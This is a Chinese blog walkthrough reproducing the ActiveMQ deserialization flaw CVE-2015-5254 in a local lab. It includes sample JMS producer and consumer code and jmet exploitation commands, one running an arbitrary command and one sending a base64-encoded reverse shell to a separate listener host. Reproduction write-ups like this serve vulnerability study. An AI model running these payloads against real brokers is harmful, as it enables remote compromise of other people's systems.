基础知识

MQ(Message Queue):消息队列/消息中间件。消息服务将消息放在队列/主题中,在合适时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。

  • 队列:消息存在队列中,发送和接收都是异步的
  • 主题:在发布pub/订阅sub模式下,发送消息给固定接收者(订阅过主题的),一对多的通信方式

MQ解决的问题:

  • 解耦:新模块接入时,代码改动最小
  • 消峰:设置流量缓冲池,让后端系统按照自身吞吐能力消费,不被冲垮
  • 异步:强弱依赖梳理能将非关键调用链路的操作异步化,并提升整体系统的吞吐能力

产品种类:Kafka, RabbitMQ, RocketMQ, ActiveMQ

ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

漏洞原理

该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

影响版本

5.13.0之前5.x版本

复现环境

将ActiveMQ部署在MAC上,使用版本为apache-activemq-5.11.1,MAC上有JDK1.7和JDK1.8两个版本(应使用JDK1.7)。

漏洞利用库jmet-0.1.0-all.jarhttps://github.com/matthiaskaiser/jmet

复现过程

参考教程:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md

1. 安装和启动ActiveMQ

  • 解压:tar -zxvf apache-activemq-5.11.0-bin.tar.gz,新建文件夹myactiveMQ,把解压的压缩包pache-activemq-5.11.0拷过去
  • 终端进入myactiveMQ/pache-activemq-5.11.0/bin
  • 启动命令:./activemq start (默认端口61616)

2. 写code给ActiveMQ发送和接收消息(为了加深理解,不是必须步骤)

消息发送方:

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class JmsProduce {

    public static final String ACTIVEMQ_URL="tcp://localhost:61616";
public static final String QUEUE_NAME="queue01"; public static void main(String[] args) throws JMSException { //采用默认用户名和密码
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start(); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(QUEUE_NAME); MessageProducer messageProducer = session.createProducer(queue);
//使用messageProducer生产3条消息发送到MQ队列
for (int i=0;i<3;i++){
TextMessage textMessage=session.createTextMessage("msg----"+i);
messageProducer.send(textMessage);
} messageProducer.close();
session.close();
connection.close(); System.out.println("******消息发布到MQ完成******");
}
}

消息接收方:

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class JmsConsumer {

    public static final String ACTIVEMQ_URL = "tcp://localhost:61616";
public static final String QUEUE_NAME = "queue01"; public static void main(String[] args) throws JMSException { //采用默认用户名和密码
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start(); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(QUEUE_NAME); MessageConsumer messageConsumer = session.createConsumer(queue);
while (true) { TextMessage textMessage = (TextMessage) messageConsumer.receive();
if (textMessage != null) {
System.out.println("******接收道消息:" + textMessage.getText());
} else {
break;
}
} messageConsumer.close();
session.close();
connection.close();
}
}

发送消息后查看队列:

接收消息后查看队列:

3. 漏洞利用

下载:jmet-0.1.0-all.jar,在同目录下新建external文件夹(表问为什么,建了就是了)

(1) 执行恶意命令

执行命令:

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.101.9 61616

命令执行之后,打开ActiveMQ控制台,会发现新建了一个名为event的队列,并发送了一条消息:

此时只要在控制台点击查看该消息,就会在apache-activemq-5.11.1/tmp下面新建一个名为sucess的文件(如果看到该文件,说明在发消息的时候发送的恶意代码"touch /tmp/sucess"执行成功,漏洞利用成功),然而我在打开消息详情页面的时候报错了:

排查之后,发现是jdk版本和activeMQ版本不匹配造成的(刚开始我用的jdk1.8),5.11版本应使用jdk1.7。切换jdk版本后再试一次,查看消息成功:

命令执行成功,说明执行任意代码的漏洞确实存在:

(2) 反弹shell

执行命令:

java -jar jmet-0.1.-all.jar -Q myevent -I ActiveMQ -Y "bash -c {echo YmFzaCAtaSAmZ3Q7Ji9kZXYvdGNwLzE5Mi4xNjguMTAxLjE0LzEzMTQgMCZndDsmMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.101.9 

反弹成功:

如需转载,请注明出处,这是对他人劳动成果的尊重~

漏洞复现 - ActiveMQ反序列化漏洞(CVE-2015-5254)的更多相关文章

  1. 漏洞复现-ActiveMq反序列化漏洞(CVE-2015-5254)

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 Apache ActiveMQ 5.13.0之前 ...

  2. 漏洞复现|Dubbo反序列化漏洞CVE-2019-17564

    01漏洞描述 - Apache Dubbo支持多种协议,官方推荐使用Dubbo协议.Apache Dubbo HTTP协议中的一个反序列化漏洞(CVE-2019-17564),该漏洞的主要原因在于当A ...

  3. 漏洞复现:MS10-046漏洞

    漏洞复现:MS10-046漏洞 实验工具1.VMware虚拟机2.Windows7系统虚拟机3.Kali 2021 系统虚拟机 1.在VMware中打开Windows7虚拟机和Kali 2021虚拟机 ...

  4. ActiveMQ反序列化漏洞(CVE-2015-5254)复现

      0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache ...

  5. ActiveMQ 反序列化漏洞(CVE-2015-5254)复现

    1.运行漏洞环境 sudo docker-compose up -d 环境运行后,将监听61616和8161两个端口.其中61616是工作端口,消息在这个端口进行传递:8161是Web管理页面端口.访 ...

  6. ActiveMq反序列化漏洞(CVE-2015-5254)漏洞复现

    漏洞原理 Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的Java Message Service( ...

  7. 漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 未禁用PUT.MOVE等高危方法的ActiveM ...

  8. 漏洞复现-CVE-2016-4437-Shiro反序列化

        0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机) 0x01 影响版本 Shiro <= ...

  9. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

随机推荐

  1. 学习angularJs(1)--引用文件

    <script src="http://cdn.static.runoob.com/libs/angular.js/1.4.6/angular.min.js">< ...

  2. 一 Hibernate入门

    Hibernate环境搭建 Hibernate的API Hibernate的CRUD EE三层结构: web层 业务逻辑层 持久层         jdbc,DBUTils,Hibernate Hib ...

  3. Linux 补丁 的简单使用: 制作补丁,打补丁,撤销补丁

    ​ 背景: 补丁的使用对于嵌入式开发人员来说,在维护或者开发中都比较方便. 制作补丁: diff - 逐行比较文件. 格式: diff 参数 旧文件/旧文件夹 新文件/新文件夹 (注意顺序 新旧文件夹 ...

  4. Tornado -- 7 - 查询结果

    查询结果 查询结果总结: 条件查询 多表查询

  5. 手机连接jmeter录制脚本测试

    1.准备条件 电脑安装好jmeter,准备好一个手机 注意: 电脑和手机连接的网络要一致 手机设置代理协议前要先进入想要抓取的网站: http://39.107.96.138:3000/ 2.jmet ...

  6. Day5-T1

    原题目 小月言要过四岁生日了,她的妈妈为她准备了n根火腿,她想将这些火腿均分给m位小朋友,所以她可能需要切火腿.为了省事,小月言想切最少的刀数,使这n根火腿分成均等的m份.请问最少要切几刀? 第一行一 ...

  7. XV6源代码阅读-虚拟内存管理

    Exercise1 源代码阅读 1.内存管理部分: kalloc.c vm.c 以及相关其他文件代码 kalloc.c:char * kalloc(void)负责在需要的时候为用户空间.内核栈.页表页 ...

  8. 项目上线后,遇到IE浏览器不显示大部分组件的问题

    document.addEventListener('touchmove',(evt)=>{ }) 以上是ES6 语法,箭头函数,当然在IE下是不行的啦. 所以改为:ES5语法 document ...

  9. 关于torchvision.models中VGG的笔记

    VGG 主要有两种结构,分别是 VGG16 和 VGG19,两者并没有本质上的区别,只是网络深度不一样. 对于给定的感受野,采用堆积的小卷积核是优于采用大的卷积核的,因为多层非线性层可以增加网络深度来 ...

  10. MAC设置允许任何来源

    在升级了macOS Sierra (10.12)版本后在“安全性与隐私”中不再有“任何来源”选项 接下来,我们就打开终端,然后输入以下命令: sudo spctl --master-disable 输 ...